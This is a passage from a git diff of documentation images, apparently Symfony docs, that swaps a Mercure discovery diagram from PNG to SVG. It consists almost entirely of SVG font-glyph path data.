xlink:href="#glyph0-2" x="395.040799" y="169.00217"/> +</g> +</g> +</svg> diff --git a/_images/install/deprecations-in-profiler.png b/_images/install/deprecations-in-profiler.png index a8abcae32b7..3d3f9a98a4a 100644 Binary files a/_images/install/deprecations-in-profiler.png and b/_images/install/deprecations-in-profiler.png differ diff --git a/_images/mercure/discovery.png b/_images/mercure/discovery.png deleted file mode 100644 index 0ef38271de6..00000000000 Binary files a/_images/mercure/discovery.png and /dev/null differ diff --git a/_images/mercure/discovery.svg b/_images/mercure/discovery.svg new file mode 100644 index 00000000000..ed18381068a --- /dev/null +++ b/_images/mercure/discovery.svg @@ -0,0 +1,294 @@ +<?xml version="1.0" encoding="UTF-8"?> +<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="584pt" height="268pt" viewBox="0 0 584 268" version="1.1"> +<defs> +<g> +<symbol overflow="visible" id="glyph0-0"> +<path style="stroke:none;" d="M 1.015625 -14.234375 L 14.234375 -14.234375 L 14.234375 0 L 1.015625 0 Z M 11.59375 -12.609375 L 7.625 -8.1875 L 3.65625 -12.609375 L 2.640625 -11.59375 L 6.640625 -7.109375 L 2.640625 -2.640625 L 3.65625 -1.625 L 7.625 -6.03125 L 11.59375 -1.625 L 12.609375 -2.640625 L 8.578125 -7.109375 L 12.609375 -11.59375 Z M 2.625 -0.546875 L 2.78125 -0.546875 L 2.78125 -0.796875 L 2.859375 -0.796875 C 2.941406 -0.796875 3.015625 -0.8125 3.078125 -0.84375 C 3.148438 -0.875 3.1875 -0.9375 3.1875 -1.03125 C 3.1875 -1.144531 3.148438 -1.210938 3.078125 -1.234375 C 3.003906 -1.265625 2.925781 -1.28125 2.84375 -1.28125 L 2.625 -1.28125 Z M 2.859375 -1.15625 C 2.972656 -1.15625 3.03125 -1.125 3.03125 -1.0625 C 3.03125 -0.988281 3.007812 -0.945312 2.96875 -0.9375 C 2.9375 -0.9375 2.894531 -0.9375 2.84375 -0.9375 L 2.78125 -0.9375 L 2.78125 -1.15625 Z M 3.84375 -1.28125 L 3.21875 -1.28125 L 3.21875 -1.15625 L 3.453125 -1.15625 L 3.453125 -0.546875 L 3.59375 -0.546875 L 3.59375 -1.15625 L 3.84375 -1.15625 Z M 4.515625 -0.75 C 4.515625 -0.695312 4.46875 -0.671875 4.375 -0.671875 C 4.28125 -0.671875 4.21875 -0.6875 4.1875 -0.71875 L 4.125 -0.5625 C 4.15625 -0.5625 4.191406 -0.554688 4.234375 -0.546875 C 4.273438 -0.535156 4.328125 -0.53125 4.390625 -0.53125 C 4.578125 -0.53125 4.671875 -0.609375 4.671875 -0.765625 C 4.671875 -0.890625 4.609375 -0.957031 4.484375 -0.96875 C 4.367188 -0.988281 4.3125 -1.03125 4.3125 -1.09375 C 4.3125 -1.132812 4.351562 -1.15625 4.4375 -1.15625 C 4.5 -1.15625 4.554688 -1.144531 4.609375 -1.125 L 4.65625 -1.265625 C 4.570312 -1.285156 4.5 -1.296875 4.4375 -1.296875 C 4.238281 -1.296875 4.140625 -1.222656 4.140625 -1.078125 C 4.140625 -1.003906 4.160156 -0.953125 4.203125 -0.921875 C 4.242188 -0.898438 4.285156 -0.878906 4.328125 -0.859375 C 4.367188 -0.835938 4.410156 -0.820312 4.453125 -0.8125 C 4.492188 -0.800781 4.515625 -0.78125 4.515625 -0.75 Z M 4.8125 -0.953125 C 4.875 -0.984375 4.9375 -1 5 -1 C 5.070312 -1 5.109375 -0.972656 5.109375 -0.921875 L 5.109375 -0.875 C 5.085938 -0.875 5.070312 -0.875 5.0625 -0.875 C 5.050781 -0.882812 5.03125 -0.890625 5 -0.890625 C 4.832031 -0.890625 4.75 -0.820312 4.75 -0.6875 C 4.75 -0.582031 4.804688 -0.53125 4.921875 -0.53125 C 5.003906 -0.53125 5.066406 -0.5625 5.109375 -0.625 L 5.140625 -0.546875 L 5.265625 -0.546875 C 5.253906 -0.578125 5.25 -0.625 5.25 -0.6875 L 5.25 -0.921875 C 5.25 -1.054688 5.179688 -1.125 5.046875 -1.125 C 4.984375 -1.125 4.925781 -1.113281 4.875 -1.09375 C 4.832031 -1.082031 4.800781 -1.070312 4.78125 -1.0625 Z M 4.984375 -0.65625 C 4.929688 -0.65625 4.90625 -0.679688 4.90625 -0.734375 C 4.90625 -0.785156 4.9375 -0.8125 5 -0.8125 C 5.03125 -0.8125 5.050781 -0.804688 5.0625 -0.796875 C 5.070312 -0.796875 5.085938 -0.796875 5.109375 -0.796875 L 5.109375 -0.734375 C 5.078125 -0.679688 5.035156 -0.65625 4.984375 -0.65625 Z M 5.9375 -0.546875 L 5.9375 -0.875 C 5.9375 -1.039062 5.875 -1.125 5.75 -1.125 C 5.65625 -1.125 5.585938 -1.085938 5.546875 -1.015625 L 5.515625 -1.09375 L 5.40625 -1.09375 L 5.40625 -0.546875 L 5.546875 -0.546875 L 5.546875 -0.890625 C 5.578125 -0.941406 5.617188 -0.96875 5.671875 -0.96875 C 5.734375 -0.96875 5.765625 -0.929688 5.765625 -0.859375 L 5.765625 -0.546875 Z M 6.03125 -0.5625 C 6.09375 -0.539062 6.160156 -0.53125 6.234375 -0.53125 C 6.390625 -0.53125 6.46875 -0.59375 6.46875 -0.71875 C 6.46875 -0.78125 6.445312 -0.816406 6.40625 -0.828125 C 6.375 -0.847656 6.335938 -0.867188 6.296875 -0.890625 C 6.234375 -0.921875 6.203125 -0.941406 6.203125 -0.953125 C 6.203125 -0.984375 6.222656 -1 6.265625 -1 C 6.316406 -1 6.367188 -0.984375 6.421875 -0.953125 L 6.46875 -1.078125 C 6.414062 -1.109375 6.347656 -1.125 6.265625 -1.125 C 6.128906 -1.125 6.0625 -1.0625 6.0625 -0.9375 C 6.0625 -0.863281 6.082031 -0.816406 6.125 -0.796875 C 6.164062 -0.773438 6.195312 -0.757812 6.21875 -0.75 C 6.289062 -0.75 6.328125 -0.726562 6.328125 -0.6875 C 6.328125 -0.664062 6.304688 -0.65625 6.265625 -0.65625 C 6.191406 -0.65625 6.128906 -0.664062 6.078125 -0.6875 Z M 6.875 -0.859375 C 6.875 -0.566406 7.007812 -0.421875 7.28125 -0.421875 C 7.550781 -0.421875 7.6875 -0.566406 7.6875 -0.859375 C 7.6875 -1.128906 7.550781 -1.265625 7.28125 -1.265625 C 7.164062 -1.265625 7.066406 -1.222656 6.984375 -1.140625 C 6.910156 -1.066406 6.875 -0.972656 6.875 -0.859375 Z M 7 -0.859375 C 7 -1.054688 7.09375 -1.15625 7.28125 -1.15625 C 7.46875 -1.15625 7.5625 -1.054688 7.5625 -0.859375 C 7.5625 -0.648438 7.46875 -0.546875 7.28125 -0.546875 C 7.09375 -0.546875 7 -0.648438 7 -0.859375 Z M 7.40625 -0.765625 C 7.375 -0.753906 7.34375 -0.75 7.3125 -0.75 C 7.257812 -0.75 7.234375 -0.785156 7.234375 -0.859375 C 7.234375 -0.910156 7.257812 -0.9375 7.3125 -0.9375 L 7.375 -0.9375 L 7.421875 -1.015625 C 7.367188 -1.046875 7.320312 -1.0625 7.28125 -1.0625 C 7.15625 -1.0625 7.09375 -0.992188 7.09375 -0.859375 C 7.09375 -0.703125 7.15625 -0.625 7.28125 -0.625 C 7.34375 -0.625 7.390625 -0.640625 7.421875 -0.671875 Z M 8.109375 -0.546875 L 8.28125 -0.546875 L 8.28125 -0.796875 L 8.359375 -0.796875 C 8.441406 -0.796875 8.515625 -0.8125 8.578125 -0.84375 C 8.648438 -0.875 8.6875 -0.9375 8.6875 -1.03125 C 8.6875 -1.144531 8.644531 -1.210938 8.5625 -1.234375 C 8.488281 -1.265625 8.410156 -1.28125 8.328125 -1.28125 L 8.109375 -1.28125 Z M 8.359375 -1.15625 C 8.460938 -1.15625 8.515625 -1.125 8.515625 -1.0625 C 8.515625 -0.988281 8.5 -0.945312 8.46875 -0.9375 C 8.4375 -0.9375 8.390625 -0.9375 8.328125 -0.9375 L 8.28125 -0.9375 L 8.28125 -1.15625 Z M 8.78125 -0.953125 C 8.832031 -0.984375 8.894531 -1 8.96875 -1 C 9.03125 -1 9.0625 -0.972656 9.0625 -0.921875 L 9.0625 -0.875 C 9.050781 -0.875 9.035156 -0.875 9.015625 -0.875 C 9.003906 -0.882812 8.988281 -0.890625 8.96875 -0.890625 C 8.789062 -0.890625 8.703125 -0.820312 8.703125 -0.6875 C 8.703125 -0.582031 8.765625 -0.53125 8.890625 -0.53125 C 8.960938 -0.53125 9.019531 -0.5625 9.0625 -0.625 L 9.109375 -0.546875 L 9.234375 -0.546875 C 9.210938 -0.578125 9.203125 -0.625 9.203125 -0.6875 L 9.203125 -0.921875 C 9.203125 -1.054688 9.132812 -1.125 9 -1.125 C 8.945312 -1.125 8.894531 -1.113281 8.84375 -1.09375 C 8.800781 -1.082031 8.765625 -1.070312 8.734375 -1.0625 Z M 8.9375 -0.65625 C 8.882812 -0.65625 8.859375 -0.679688 8.859375 -0.734375 C 8.859375 -0.785156 8.894531 -0.8125 8.96875 -0.8125 C 8.988281 -0.8125 9.003906 -0.804688 9.015625 -0.796875 C 9.035156 -0.796875 9.050781 -0.796875 9.0625 -0.796875 L 9.0625 -0.734375 C 9.039062 -0.679688 9 -0.65625 8.9375 -0.65625 Z M 9.71875 -1.09375 C 9.707031 -1.113281 9.679688 -1.125 9.640625 -1.125 C 9.578125 -1.125 9.535156 -1.085938 9.515625 -1.015625 L 9.5 -1.015625 L 9.46875 -1.09375 L 9.34375 -1.09375 L 9.34375 -0.546875 L 9.515625 -0.546875 L 9.515625 -0.890625 C 9.515625 -0.941406 9.554688 -0.96875 9.640625 -0.96875 L 9.65625 -0.96875 C 9.664062 -0.96875 9.671875 -0.960938 9.671875 -0.953125 C 9.671875 -0.953125 9.679688 -0.953125 9.703125 -0.953125 Z M 9.8125 -0.953125 C 9.894531 -0.984375 9.957031 -1 10 -1 C 10.070312 -1 10.109375 -0.972656 10.109375 -0.921875 L 10.109375 -0.875 C 10.085938 -0.875 10.070312 -0.875 10.0625 -0.875 C 10.050781 -0.882812 10.03125 -0.890625 10 -0.890625 C 9.820312 -0.890625 9.734375 -0.820312 9.734375 -0.6875 C 9.734375 -0.582031 9.796875 -0.53125 9.921875 -0.53125 C 10.015625 -0.53125 10.078125 -0.5625 10.109375 -0.625 L 10.125 -0.625 L 10.140625 -0.546875 L 10.265625 -0.546875 C 10.253906 -0.578125 10.25 -0.625 10.25 -0.6875 L 10.25 -0.921875 C 10.25 -1.054688 10.179688 -1.125 10.046875 -1.125 C 9.984375 -1.125 9.929688 -1.113281 9.890625 -1.09375 C 9.859375 -1.082031 9.828125 -1.070312 9.796875 -1.0625 Z M 9.984375 -0.65625 C 9.929688 -0.65625 9.90625 -0.679688 9.90625 -0.734375 C 9.90625 -0.785156 9.9375 -0.8125 10 -0.8125 C 10.03125 -0.8125 10.050781 -0.804688 10.0625 -0.796875 C 10.070312 -0.796875 10.085938 -0.796875 10.109375 -0.796875 L 10.109375 -0.734375 C 10.078125 -0.679688 10.035156 -0.65625 9.984375 -0.65625 Z M 10.828125 -1.28125 L 10.203125 -1.28125 L 10.203125 -1.15625 L 10.421875 -1.15625 L 10.421875 -0.546875 L 10.59375 -0.546875 L 10.59375 -1.15625 L 10.828125 -1.15625 Z M 11 -1.09375 L 10.828125 -1.09375 L 11.078125 -0.546875 C 11.066406 -0.484375 11.035156 -0.453125 10.984375 -0.453125 L 10.953125 -0.46875 L 10.921875 -0.34375 C 10.941406 -0.332031 10.972656 -0.328125 11.015625 -0.328125 C 11.085938 -0.328125 11.15625 -0.414062 11.21875 -0.59375 L 11.421875 -1.09375 L 11.265625 -1.09375 L 11.15625 -0.796875 L 11.15625 -0.6875 L 11.140625 -0.6875 L 11.125 -0.796875 Z M 11.484375 -0.328125 L 11.640625 -0.328125 L 11.640625 -0.5625 C 11.660156 -0.539062 11.695312 -0.53125 11.75 -0.53125 C 11.9375 -0.53125 12.03125 -0.628906 12.03125 -0.828125 C 12.03125 -1.023438 11.957031 -1.125 11.8125 -1.125 C 11.738281 -1.125 11.675781 -1.09375 11.625 -1.03125 L 11.609375 -1.03125 L 11.59375 -1.09375 L 11.484375 -1.09375 Z M 11.765625 -1 C 11.835938 -1 11.875 -0.941406 11.875 -0.828125 C 11.875 -0.710938 11.828125 -0.65625 11.734375 -0.65625 C 11.703125 -0.65625 11.671875 -0.664062 11.640625 -0.6875 L 11.640625 -0.890625 C 11.640625 -0.960938 11.679688 -1 11.765625 -1 Z M 12.5625 -0.6875 C 12.53125 -0.664062 12.484375 -0.65625 12.421875 -0.65625 C 12.328125 -0.65625 12.269531 -0.691406 12.25 -0.765625 L 12.640625 -0.765625 L 12.640625 -0.890625 C 12.640625 -0.972656 12.613281 -1.03125 12.5625 -1.0625 C 12.519531 -1.101562 12.46875 -1.125 12.40625 -1.125 C 12.207031 -1.125 12.109375 -1.019531 12.109375 -0.8125 C 12.109375 -0.625 12.207031 -0.53125 12.40625 -0.53125 C 12.445312 -0.53125 12.484375 -0.535156 12.515625 -0.546875 C 12.554688 -0.554688 12.59375 -0.570312 12.625 -0.59375 Z M 12.40625 -1 C 12.476562 -1 12.507812 -0.957031 12.5 -0.875 L 12.28125 -0.875 C 12.28125 -0.957031 12.320312 -1 12.40625 -1 Z M 12.40625 -1 "/> +</symbol> +<symbol overflow="visible" id="glyph0-1"> +<path style="stroke:none;" d="M 8.734375 -0.546875 C 8.398438 -0.265625 7.972656 -0.0625 7.453125 0.0625 C 6.941406 0.1875 6.398438 0.25 5.828125 0.25 C 5.109375 0.25 4.441406 0.113281 3.828125 -0.15625 C 3.222656 -0.425781 2.703125 -0.859375 2.265625 -1.453125 C 1.828125 -2.046875 1.484375 -2.804688 1.234375 -3.734375 C 0.992188 -4.671875 0.875 -5.796875 0.875 -7.109375 C 0.875 -8.460938 1.007812 -9.609375 1.28125 -10.546875 C 1.5625 -11.484375 1.929688 -12.242188 2.390625 -12.828125 C 2.859375 -13.410156 3.394531 -13.828125 4 -14.078125 C 4.601562 -14.335938 5.222656 -14.46875 5.859375 -14.46875 C 6.503906 -14.46875 7.039062 -14.421875 7.46875 -14.328125 C 7.894531 -14.234375 8.265625 -14.117188 8.578125 -13.984375 L 8.21875 -12.609375 C 7.945312 -12.753906 7.625 -12.867188 7.25 -12.953125 C 6.882812 -13.035156 6.46875 -13.078125 6 -13.078125 C 5.519531 -13.078125 5.070312 -12.96875 4.65625 -12.75 C 4.238281 -12.539062 3.863281 -12.203125 3.53125 -11.734375 C 3.207031 -11.265625 2.953125 -10.648438 2.765625 -9.890625 C 2.578125 -9.140625 2.484375 -8.210938 2.484375 -7.109375 C 2.484375 -5.128906 2.820312 -3.640625 3.5 -2.640625 C 4.175781 -1.648438 5.078125 -1.15625 6.203125 -1.15625 C 6.660156 -1.15625 7.070312 -1.21875 7.4375 -1.34375 C 7.800781 -1.476562 8.113281 -1.632812 8.375 -1.8125 Z M 8.734375 -0.546875 "/> +</symbol> +<symbol overflow="visible" id="glyph0-2"> +<path style="stroke:none;" d="M 2.765625 -2.421875 C 2.765625 -1.941406 2.828125 -1.597656 2.953125 -1.390625 C 3.085938 -1.191406 3.269531 -1.09375 3.5 -1.09375 C 3.78125 -1.09375 4.113281 -1.171875 4.5 -1.328125 L 4.640625 -0.140625 C 4.460938 -0.0351562 4.210938 0.046875 3.890625 0.109375 C 3.578125 0.179688 3.289062 0.21875 3.03125 0.21875 C 2.507812 0.21875 2.085938 0.0625 1.765625 -0.25 C 1.453125 -0.570312 1.296875 -1.132812 1.296875 -1.9375 L 1.296875 -14.234375 L 2.765625 -14.234375 Z M 2.765625 -2.421875 "/> +</symbol> +<symbol overflow="visible" id="glyph0-3"> +<path style="stroke:none;" d="M 1.4375 -10.15625 L 2.90625 -10.15625 L 2.90625 0 L 1.4375 0 Z M 1.171875 -13.25 C 1.171875 -13.570312 1.265625 -13.835938 1.453125 -14.046875 C 1.640625 -14.253906 1.878906 -14.359375 2.171875 -14.359375 C 2.472656 -14.359375 2.722656 -14.257812 2.921875 -14.0625 C 3.117188 -13.863281 3.21875 -13.59375 3.21875 -13.25 C 3.21875 -12.925781 3.117188 -12.671875 2.921875 -12.484375 C 2.722656 -12.304688 2.472656 -12.21875 2.171875 -12.21875 C 1.878906 -12.21875 1.640625 -12.3125 1.453125 -12.5 C 1.265625 -12.6875 1.171875 -12.9375 1.171875 -13.25 Z M 1.171875 -13.25 "/> +</symbol> +<symbol overflow="visible" id="glyph0-4"> +<path style="stroke:none;" d="M 7.28125 -0.6875 C 6.957031 -0.394531 6.539062 -0.164062 6.03125 0 C 5.53125 0.164062 5.003906 0.25 4.453125 0.25 C 3.816406 0.25 3.265625 0.125 2.796875 -0.125 C 2.328125 -0.382812 1.9375 -0.742188 1.625 -1.203125 C 1.320312 -1.671875 1.097656 -2.226562 0.953125 -2.875 C 0.816406 -3.53125 0.75 -4.265625 0.75 -5.078125 C 0.75 -6.816406 1.066406 -8.140625 1.703125 -9.046875 C 2.335938 -9.953125 3.238281 -10.40625 4.40625 -10.40625 C 4.789062 -10.40625 5.164062 -10.359375 5.53125 -10.265625 C 5.90625 -10.171875 6.242188 -9.976562 6.546875 -9.6875 C 6.847656 -9.40625 7.085938 -9.003906 7.265625 -8.484375 C 7.453125 -7.972656 7.546875 -7.304688 7.546875 -6.484375 C 7.546875 -6.253906 7.535156 -6.003906 7.515625 -5.734375 C 7.492188 -5.472656 7.46875 -5.203125 7.4375 -4.921875 L 2.28125 -4.921875 C 2.28125 -4.335938 2.328125 -3.804688 2.421875 -3.328125 C 2.515625 -2.859375 2.660156 -2.457031 2.859375 -2.125 C 3.066406 -1.789062 3.328125 -1.53125 3.640625 -1.34375 C 3.960938 -1.164062 4.363281 -1.078125 4.84375 -1.078125 C 5.207031 -1.078125 5.566406 -1.144531 5.921875 -1.28125 C 6.285156 -1.414062 6.5625 -1.578125 6.75 -1.765625 Z M 6.140625 -6.140625 C 6.171875 -7.148438 6.03125 -7.894531 5.71875 -8.375 C 5.40625 -8.851562 4.976562 -9.09375 4.4375 -9.09375 C 3.8125 -9.09375 3.316406 -8.851562 2.953125 -8.375 C 2.585938 -7.894531 2.367188 -7.148438 2.296875 -6.140625 Z M 6.140625 -6.140625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-5"> +<path style="stroke:none;" d="M 6.40625 0 L 6.40625 -6.203125 C 6.40625 -7.210938 6.285156 -7.945312 6.046875 -8.40625 C 5.804688 -8.863281 5.382812 -9.09375 4.78125 -9.09375 C 4.238281 -9.09375 3.789062 -8.925781 3.4375 -8.59375 C 3.082031 -8.269531 2.820312 -7.875 2.65625 -7.40625 L 2.65625 0 L 1.203125 0 L 1.203125 -10.15625 L 2.25 -10.15625 L 2.515625 -9.09375 L 2.578125 -9.09375 C 2.835938 -9.457031 3.1875 -9.765625 3.625 -10.015625 C 4.070312 -10.273438 4.597656 -10.40625 5.203125 -10.40625 C 5.640625 -10.40625 6.019531 -10.34375 6.34375 -10.21875 C 6.675781 -10.101562 6.953125 -9.898438 7.171875 -9.609375 C 7.398438 -9.316406 7.570312 -8.925781 7.6875 -8.4375 C 7.800781 -7.945312 7.859375 -7.332031 7.859375 -6.59375 L 7.859375 0 Z M 6.40625 0 "/> +</symbol> +<symbol overflow="visible" id="glyph0-6"> +<path style="stroke:none;" d="M 0.1875 -10.15625 L 1.421875 -10.15625 L 1.421875 -12.171875 L 2.890625 -12.640625 L 2.890625 -10.15625 L 5.078125 -10.15625 L 5.078125 -8.84375 L 2.890625 -8.84375 L 2.890625 -2.78125 C 2.890625 -2.1875 2.957031 -1.753906 3.09375 -1.484375 C 3.238281 -1.222656 3.472656 -1.09375 3.796875 -1.09375 C 4.066406 -1.09375 4.300781 -1.125 4.5 -1.1875 C 4.695312 -1.25 4.910156 -1.328125 5.140625 -1.421875 L 5.421875 -0.265625 C 5.128906 -0.117188 4.800781 -0.00390625 4.4375 0.078125 C 4.082031 0.171875 3.707031 0.21875 3.3125 0.21875 C 2.632812 0.21875 2.148438 0 1.859375 -0.4375 C 1.566406 -0.875 1.421875 -1.585938 1.421875 -2.578125 L 1.421875 -8.84375 L 0.1875 -8.84375 Z M 0.1875 -10.15625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-7"> +<path style="stroke:none;" d="M 1.03125 -1.671875 C 1.300781 -1.503906 1.625 -1.363281 2 -1.25 C 2.375 -1.132812 2.757812 -1.078125 3.15625 -1.078125 C 3.601562 -1.078125 3.976562 -1.1875 4.28125 -1.40625 C 4.59375 -1.632812 4.75 -2 4.75 -2.5 C 4.75 -2.914062 4.65625 -3.257812 4.46875 -3.53125 C 4.28125 -3.800781 4.039062 -4.046875 3.75 -4.265625 C 3.457031 -4.484375 3.140625 -4.679688 2.796875 -4.859375 C 2.460938 -5.046875 2.148438 -5.269531 1.859375 -5.53125 C 1.566406 -5.789062 1.328125 -6.09375 1.140625 -6.4375 C 0.953125 -6.789062 0.859375 -7.238281 0.859375 -7.78125 C 0.859375 -8.65625 1.085938 -9.3125 1.546875 -9.75 C 2.015625 -10.1875 2.675781 -10.40625 3.53125 -10.40625 C 4.09375 -10.40625 4.578125 -10.351562 4.984375 -10.25 C 5.390625 -10.15625 5.738281 -10.019531 6.03125 -9.84375 L 5.65625 -8.625 C 5.394531 -8.757812 5.09375 -8.867188 4.75 -8.953125 C 4.414062 -9.046875 4.070312 -9.09375 3.71875 -9.09375 C 3.226562 -9.09375 2.867188 -8.988281 2.640625 -8.78125 C 2.421875 -8.582031 2.3125 -8.265625 2.3125 -7.828125 C 2.3125 -7.484375 2.40625 -7.191406 2.59375 -6.953125 C 2.789062 -6.722656 3.035156 -6.507812 3.328125 -6.3125 C 3.617188 -6.113281 3.929688 -5.910156 4.265625 -5.703125 C 4.609375 -5.503906 4.925781 -5.265625 5.21875 -4.984375 C 5.507812 -4.710938 5.75 -4.382812 5.9375 -4 C 6.125 -3.613281 6.21875 -3.128906 6.21875 -2.546875 C 6.21875 -2.160156 6.15625 -1.796875 6.03125 -1.453125 C 5.914062 -1.117188 5.734375 -0.828125 5.484375 -0.578125 C 5.234375 -0.328125 4.921875 -0.128906 4.546875 0.015625 C 4.171875 0.171875 3.734375 0.25 3.234375 0.25 C 2.640625 0.25 2.125 0.1875 1.6875 0.0625 C 1.25 -0.0507812 0.882812 -0.203125 0.59375 -0.390625 Z M 1.03125 -1.671875 "/> +</symbol> +<symbol overflow="visible" id="glyph0-8"> +<path style="stroke:none;" d="M 1.203125 -1.890625 C 1.453125 -1.710938 1.8125 -1.546875 2.28125 -1.390625 C 2.75 -1.234375 3.28125 -1.15625 3.875 -1.15625 C 4.632812 -1.15625 5.25 -1.34375 5.71875 -1.71875 C 6.195312 -2.09375 6.4375 -2.675781 6.4375 -3.46875 C 6.4375 -4 6.300781 -4.460938 6.03125 -4.859375 C 5.757812 -5.253906 5.421875 -5.613281 5.015625 -5.9375 C 4.609375 -6.269531 4.171875 -6.597656 3.703125 -6.921875 C 3.242188 -7.242188 2.804688 -7.597656 2.390625 -7.984375 C 1.984375 -8.367188 1.644531 -8.8125 1.375 -9.3125 C 1.101562 -9.8125 0.96875 -10.414062 0.96875 -11.125 C 0.96875 -12.257812 1.3125 -13.097656 2 -13.640625 C 2.6875 -14.191406 3.578125 -14.46875 4.671875 -14.46875 C 5.347656 -14.46875 5.953125 -14.40625 6.484375 -14.28125 C 7.015625 -14.164062 7.441406 -14.015625 7.765625 -13.828125 L 7.28125 -12.484375 C 7.03125 -12.628906 6.675781 -12.765625 6.21875 -12.890625 C 5.769531 -13.015625 5.25 -13.078125 4.65625 -13.078125 C 3.925781 -13.078125 3.382812 -12.894531 3.03125 -12.53125 C 2.675781 -12.175781 2.5 -11.726562 2.5 -11.1875 C 2.5 -10.707031 2.632812 -10.285156 2.90625 -9.921875 C 3.175781 -9.554688 3.515625 -9.207031 3.921875 -8.875 C 4.328125 -8.550781 4.765625 -8.222656 5.234375 -7.890625 C 5.703125 -7.566406 6.140625 -7.203125 6.546875 -6.796875 C 6.953125 -6.390625 7.289062 -5.925781 7.5625 -5.40625 C 7.832031 -4.894531 7.96875 -4.285156 7.96875 -3.578125 C 7.96875 -2.378906 7.613281 -1.441406 6.90625 -0.765625 C 6.207031 -0.0859375 5.210938 0.25 3.921875 0.25 C 3.109375 0.25 2.441406 0.171875 1.921875 0.015625 C 1.398438 -0.128906 0.984375 -0.296875 0.671875 -0.484375 Z M 1.203125 -1.890625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-9"> +<path style="stroke:none;" d="M 3.71875 -3.59375 L 4.140625 -1.625 L 4.25 -1.625 L 4.546875 -3.59375 L 6.09375 -10.15625 L 7.578125 -10.15625 L 5.15625 -1.03125 C 4.96875 -0.300781 4.78125 0.378906 4.59375 1.015625 C 4.40625 1.648438 4.195312 2.203125 3.96875 2.671875 C 3.75 3.140625 3.5 3.503906 3.21875 3.765625 C 2.945312 4.035156 2.617188 4.171875 2.234375 4.171875 C 1.859375 4.171875 1.523438 4.109375 1.234375 3.984375 L 1.484375 2.609375 C 1.671875 2.671875 1.859375 2.679688 2.046875 2.640625 C 2.242188 2.597656 2.425781 2.484375 2.59375 2.296875 C 2.757812 2.109375 2.910156 1.828125 3.046875 1.453125 C 3.191406 1.078125 3.320312 0.59375 3.4375 0 L 0.140625 -10.15625 L 1.8125 -10.15625 Z M 3.71875 -3.59375 "/> +</symbol> +<symbol overflow="visible" id="glyph0-10"> +<path style="stroke:none;" d="M 5.953125 0 L 5.953125 -6.03125 C 5.953125 -6.570312 5.9375 -7.035156 5.90625 -7.421875 C 5.875 -7.816406 5.800781 -8.132812 5.6875 -8.375 C 5.582031 -8.613281 5.429688 -8.789062 5.234375 -8.90625 C 5.046875 -9.03125 4.800781 -9.09375 4.5 -9.09375 C 4.03125 -9.09375 3.632812 -8.910156 3.3125 -8.546875 C 3 -8.191406 2.78125 -7.78125 2.65625 -7.3125 L 2.65625 0 L 1.203125 0 L 1.203125 -10.15625 L 2.234375 -10.15625 L 2.5 -9.09375 L 2.5625 -9.09375 C 2.84375 -9.476562 3.179688 -9.789062 3.578125 -10.03125 C 3.972656 -10.28125 4.472656 -10.40625 5.078125 -10.40625 C 5.597656 -10.40625 6.019531 -10.289062 6.34375 -10.0625 C 6.675781 -9.84375 6.941406 -9.453125 7.140625 -8.890625 C 7.378906 -9.359375 7.722656 -9.726562 8.171875 -10 C 8.628906 -10.269531 9.128906 -10.40625 9.671875 -10.40625 C 10.117188 -10.40625 10.5 -10.347656 10.8125 -10.234375 C 11.132812 -10.117188 11.394531 -9.914062 11.59375 -9.625 C 11.789062 -9.332031 11.9375 -8.945312 12.03125 -8.46875 C 12.125 -7.988281 12.171875 -7.378906 12.171875 -6.640625 L 12.171875 0 L 10.71875 0 L 10.71875 -6.46875 C 10.71875 -7.34375 10.628906 -8 10.453125 -8.4375 C 10.285156 -8.875 9.898438 -9.09375 9.296875 -9.09375 C 8.773438 -9.09375 8.363281 -8.929688 8.0625 -8.609375 C 7.757812 -8.285156 7.546875 -7.851562 7.421875 -7.3125 L 7.421875 0 Z M 5.953125 0 "/> +</symbol> +<symbol overflow="visible" id="glyph0-11"> +<path style="stroke:none;" d="M 0.328125 -10.15625 L 1.5625 -10.15625 L 1.5625 -10.734375 C 1.5625 -12.003906 1.742188 -12.925781 2.109375 -13.5 C 2.472656 -14.070312 3.097656 -14.359375 3.984375 -14.359375 C 4.335938 -14.359375 4.65625 -14.335938 4.9375 -14.296875 C 5.21875 -14.253906 5.507812 -14.164062 5.8125 -14.03125 L 5.453125 -12.765625 C 5.203125 -12.867188 4.972656 -12.9375 4.765625 -12.96875 C 4.554688 -13.007812 4.359375 -13.03125 4.171875 -13.03125 C 3.898438 -13.03125 3.6875 -12.972656 3.53125 -12.859375 C 3.382812 -12.753906 3.273438 -12.585938 3.203125 -12.359375 C 3.128906 -12.128906 3.082031 -11.832031 3.0625 -11.46875 C 3.039062 -11.113281 3.03125 -10.675781 3.03125 -10.15625 L 5.140625 -10.15625 L 5.140625 -8.84375 L 3.03125 -8.84375 L 3.03125 0 L 1.5625 0 L 1.5625 -8.84375 L 0.328125 -8.84375 Z M 0.328125 -10.15625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-12"> +<path style="stroke:none;" d="M 0.75 -5.078125 C 0.75 -6.910156 1.0625 -8.253906 1.6875 -9.109375 C 2.320312 -9.972656 3.222656 -10.40625 4.390625 -10.40625 C 5.640625 -10.40625 6.554688 -9.960938 7.140625 -9.078125 C 7.734375 -8.203125 8.03125 -6.867188 8.03125 -5.078125 C 8.03125 -3.234375 7.710938 -1.882812 7.078125 -1.03125 C 6.441406 -0.175781 5.546875 0.25 4.390625 0.25 C 3.140625 0.25 2.21875 -0.191406 1.625 -1.078125 C 1.039062 -1.960938 0.75 -3.296875 0.75 -5.078125 Z M 2.28125 -5.078125 C 2.28125 -4.484375 2.316406 -3.941406 2.390625 -3.453125 C 2.460938 -2.960938 2.582031 -2.539062 2.75 -2.1875 C 2.925781 -1.84375 3.148438 -1.570312 3.421875 -1.375 C 3.691406 -1.175781 4.015625 -1.078125 4.390625 -1.078125 C 5.097656 -1.078125 5.625 -1.390625 5.96875 -2.015625 C 6.320312 -2.648438 6.5 -3.671875 6.5 -5.078125 C 6.5 -5.660156 6.460938 -6.195312 6.390625 -6.6875 C 6.316406 -7.1875 6.191406 -7.613281 6.015625 -7.96875 C 5.847656 -8.320312 5.628906 -8.597656 5.359375 -8.796875 C 5.085938 -8.992188 4.765625 -9.09375 4.390625 -9.09375 C 3.703125 -9.09375 3.175781 -8.769531 2.8125 -8.125 C 2.457031 -7.488281 2.28125 -6.472656 2.28125 -5.078125 Z M 2.28125 -5.078125 "/> +</symbol> +<symbol overflow="visible" id="glyph0-13"> 